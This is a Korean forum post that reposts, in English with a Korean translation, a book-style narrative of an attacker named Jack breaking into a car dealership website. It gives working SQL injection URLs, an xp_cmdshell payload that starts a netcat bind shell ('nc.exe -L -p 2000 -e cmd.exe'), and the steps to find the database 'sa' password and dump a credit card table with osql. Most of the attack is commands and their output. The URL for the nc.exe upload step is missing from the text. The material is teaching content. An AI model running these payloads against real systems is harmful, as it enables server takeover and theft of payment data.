[파라미터 조작] Input Validation
페이지 정보
작성자 서방님 댓글 0건 조회 134회 작성일 06-09-21 10:33본문
Input Validation
Input validation is essential to prevent unchecked user data from being used in order to get the Web server and its database to reveal sensitive information. As Jack looks over the search results that the car dealership provided, he notices something interesting: The Web site is designed to pass the query parameters via the URL
입력정보 검증은 웹 서버와 웹 서버의 데이터베이스로부터 민감한 정보를 드러나게 하기 위해 사용되는 확인되지 않은 사용자 데이터를 예방하기 위해서는 필수적이다. 자동차 판매 사이트에 나타난 검색 결과를 지켜보면서 Jack은 흥미로운 점을 발견했다. 이 웹 사이트는 URL을 통해서 질의 파라메터들을 전달하도록 설계되어 있다는 점이다.
http://192.168.0.6/purchase.asp?ID=1
As Jack can see, the only parameter to the ASP file is the ID field. He assumes that the ID field is actually a unique identifier for each record in the inventory table or database, so he tries a few alterations:
Jack이 볼 수 있는 것처럼 ASP파일로 가는 하나의 파라메터는 오직 ID 필드뿐이다. 그는 ID 필드가 재고 테이블 또는 데이터베이스에 있는 각각의 자료에 대한 유일한 구분자라고 가정하고, 그래서 그는 몇가지 변경을 시도한다.
http://192.168.0.6/purchase.asp?ID=2
http://192.168.0.6/purchase.asp?ID=3
Sure enough, the database is sending all the records in a particular table, one after the next (2, 3). But this information is hardly exciting, so Jack tries an SQL trick for getting the database to pull up all the records in the table (appending a "; OR 1=1--" to the URL):
당연하게도, 데이터베이스는 특정 테이블에 있는 자료를 하나하나씩(2,3) 모두 전송하고 있다. 그러나 이 정보들은 거의 재미가 없어 Jack은 데이터베이스로 하여금 테이블에 있는 모든 자료를 빼내도록 SQL 트릭을 시도한다. (URL에 "; OR 1=1--" 추가)
http://192.168.0.6/purchase.asp?ID=2%20OR%201=1--
And it works! Jack is able to show all the cars available on the lot by telling the SQL server that the ASP page wanted everything. He did so by using an underlying maxim in SQL?that 1=1 is always true?and appending it to the SQL statement. The ending double dash (--) is an SQL comment operator that tells the engine to ignore everything after the double dash, thereby erasing any part of the query that would have followed it.
So Jack used this ASP code:
그리고 이 방법은 효과가 있다. ASP 페이지가 모든 것을 원했다고 SQL서버에게 말함으로 해서 차고에 있는 모든 차를 볼 수 있다. 그는 '1=1 은 항상 참' 이라는 SQL의 기본 원칙을 사용하여 이를 SQL 구문에 붙인 것이었다. 끝의 이중 대시(--)는 데이터베이스 엔진에게 이중 대시 이후의 모든 것들은 그냥 무시하라는 SQL 주석 연산자이므로 실제 엔진이 질의를 받아 볼 때는 이 이후에 있는 질의들은 모두 지워지게 되었을 것이다.
그래서 Jack은 다음의 ASP 코드를 사용했다.
SQL = "SELECT * FROM inventory WHERE inventoryID=" & Request.QueryString("ID")
Set RS = Conn.Execute(SQL)
This is what the code became when he submitted "; OR 1=1" at the end of the ID field and executed it:
이것이 그가 ID 필드의 뒤이 "; OR=1=1"을 제출하고 이것을 실행했을 때 만들어진 코드이다.
SQL = "SELECT * FROM inventory WHERE inventoryID=ID OR 1=1
As a result, everything in the table (inventory) is retrieved, not just the entry with an ID of 1. Even though Jack likes what he sees, he knows that he can not take it much farther. So he tries the best of attacks, attempting to execute the xp_cmdshell extended stored procedure. The xp_cmdshell allows commands to be executed within a command shell, so an action can be performed as the logged in database user (which is typically "sa," the administrator of the SQL database). So he tries the first step, to upload Netcat (nc.exe) to the remote database system. (Note: We present more information about Netcat in Chapter 15). Netcat allows Jack to create a tunnel into the database server to do anything he desires.
First he tries to upload nc.exe with the following URL:
결과적으로, ID가 1인 항목뿐만 아니라 테이블에 있는 모든 것이 검색되었다. Jack은 그가 본 것만으로도 좋았지만 그는 그가 더 이상 할 수 없음을 알고 있다. 그래서 그는 최상의 공격을 하기 위해 확장 저장 프로시저인 xp_cmdshell의 실행을 시도한다. xp_cmdshell은 명령들이 운영체제 커맨드 쉘로 실행될 수 있도록 해주기 때문에 데이터베이스 사용자가 로그인되면서 동작이 수행될 수 있다. (데이터베이스의 사용자는 보통 SQL데이터베이스의 관리자인 "sa"이다.) 그래서 그는 Netcat(nc.exe)을 원격 데이터베이스 시스템에 업로드하기 위한 첫 단계를 시도한다. Netcat 은 Jack이 원하는 일이 무엇이든 데이터베이스 서버로 통하는 터널을 만들어주도록 해준다.
첫번째로 그는 다음의 URL로 nc.exe 파일의 업로드를 시도한다.
It worked! Jack thinks, but how can he really tell? Well, the Web server responded normally, which is what should occur. But Jack needs to take the next step and execute nc.exe and open a port to connect to:
이것은 효과가 있다! Jack은 생각한다. 하지만 어떻게 정말 효과가 있다고 말할 수 있을까? 글쎄, 웹 서버는 보통 때처럼 응답했고, 이는 정상적으로 일이 실행되었다는 의미이다. 하지만 Jack 은 다음 단계로 가서 nc.exe 프로그램을 실행하고 접속할 포트를 열어야 한다.
http://192.168.0.6/purchase.asp?ID=1;EXEC%20master..xp_cmdshell%20'c:nc.exe -n
-L -p 2000 -e cmd.exe'"
If all goes well, he can use Netcat on his system to connect to the database server and gain a command prompt on the remote side:
만일 모든 것이 잘 진행된다면, 그는 데이터베이스 서버에 접근하고 원격지에 있는 명령 프롬프트를 얻기 위해서 자신의 시스템에서 Netcat을 사용할 수 있다.
C:> nc 192.168.0.9 2000
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:WINNTsystem32>ipconfig
ipconfig
Windows 2000 IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : oc.cox.net
IP Address. . . . . . . . . . . . : 192.168.0.9
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
The hack worked! Jack is now in as an administrator on the Windows system and can do anything he wants. Well, almost anything. What he really wants is further access to the database to garner the true trophy: credit card numbers. So he pokes around a bit in the Netcat shell for osql, the handy command line SQL query tool. But he can't find it. The developer must have removed it after installation (what a rarity). So Jack decides to upload osql.exe to the database server and dump any credit card numbers he can find.
His first step is to upload osql.exe with the same technique he used earlier to upload nc.exe. Now, with osql.exe in hand he searches for the key: the "sa" password. He knows that most Web servers store passwords in the global.asa file on IIS, so he goes to the C:INETPUBWWWROOT directory looking for it?without success. Then he remembers that the purchase.asp file must have it in the script's code so that it can query the database. He searches for the file by using:
해킹작업은 성공하였다. Jack은 이제 윈도우즈 시스템 관리자로서 그가 원하는 모든 것을 할 수 있다. 글쎄, 거의 모든 것을. 그가 실제로 원했던 것은 좀더 데이터베이스에 접근해서 진짜 트로피를 얻는 것이다: 바로 신용카드 번호들. 그래서 그는 편리한 커맨드라인 SQL 질의 도구인 osql을 찾기 위해 Netcat의 쉘에서 잠깐 헤매고 다녔다. 하지만 그는 찾을 수 없다. 개발자는 설치 후 이를 제거했음이 틀림없다. (참으로 드믄 경우이다.) 그래서 Jack은 데이터베이스 서버에 osql.exe을 업로드하고 그가 찾을 수 있는 모든 신용카드 번호들을 덤프하기로 결정한다.
그의 첫 번째 단계는 이전에 nc.exe를 업로드하기 위해 사용했던 것과 똑같은 방법으로 osql.exe를 업로드하는 것이다. 이제 그의 손 안에 있는 osql.exe 를 가지고 그는 문제 해결의 열쇠를 찾는다.: 사용자명 'sa'의 비밀번호이다. 그는 대부분의 IIS 웹서버들은 global.asa파일에 비밀번호를 저장한다는 사실을 알고 있고, 따라서 파일을 찾기 위해 C:INETPUBWWWROOT 디렉토리로 간다. - 그러나 그는 성공하지 못한다. 그런 다음 그는 purchase.asp 파일이 스크립트 코드 안에 비밀번호를 가지고 있고, 따라서 데이터베이스 질의를 할 수 있다는 것을 기억한다.
그는 다음을 사용하여 파일을 검색한다.
C:> dir purchase.asp /s
dir purchase.asp /s
Volume in drive C has no label.
Volume Serial Number is C456-EAF2
Directory of C:Inetpubweb
04/28/2002 06:29p 671 purchase.asp
1 File(s) 671 bytes
He finds it in the C:inetpubweb directory, the home directory of the primary Web server. He looks for the keyword "ConnectionString" in the purchase.asp file and sees the "sa" password:
그는 주 웹 서버의 홈 데릭토리인 C:inetpubweb 디렉토리에서 파일을 찾는다. purchase.asp 파일에서 "ConnectionString" 이라는 키워드를 찾은 후에 사용자명 "sa"의 비밀번호를 본다.
C:Inetpubweb> findstr /i "connectionstring" purchase.asp
Session("ConnectionString") = "Provider=SQLOLEDB.1; dsn=localhost; uid=sa; pwd=password;
APP=ASP Script; initial catalog=web"
Conn.Open Session("ConnectionString")
Now Jack uses his uploaded osql.exe program to enumerate the database:
이제 데이터베이스 정보를 나열하기 위해 Jack은 업로드한 osql.exe 프로그램을 사용한다.
C:> osql -U sa -P password -Q "exec sp_help"
C:> osql -U sa -P password -Q "exec sp_tables"
C:> osql -U sa -P password -Q "select * from information_schema.tables"
Finally, he spots the target table, Accounts, and uses one more osql command to capture his prize:
마지막으로 그는 목표한 Accounts 테이블을 발견하고, 자신에게 줄 상을 갖기 위해 한번 더 osql 명령을 사용한다.
C:Inetpubweb> osql -d web -U sa -P blah -Q "select firstname, lastname, creditcard,
expiration from accounts"
firstname lastname creditcard expiration
---------- ---------- ---------------- -----------------------
Stuart McClure 4202401082819495 2002-11-01 00:00:00.000
Jim Smith 4330182957489102 2003-03-01 00:00:00.000
Bob Grouch 4102324201928574 2004-04-01 00:00:00.000
(3 rows affected)
Jack has had enough fun for one day.
Jack은 이로써 매우 재미있는 하루를 보냈다.
댓글목록
등록된 댓글이 없습니다.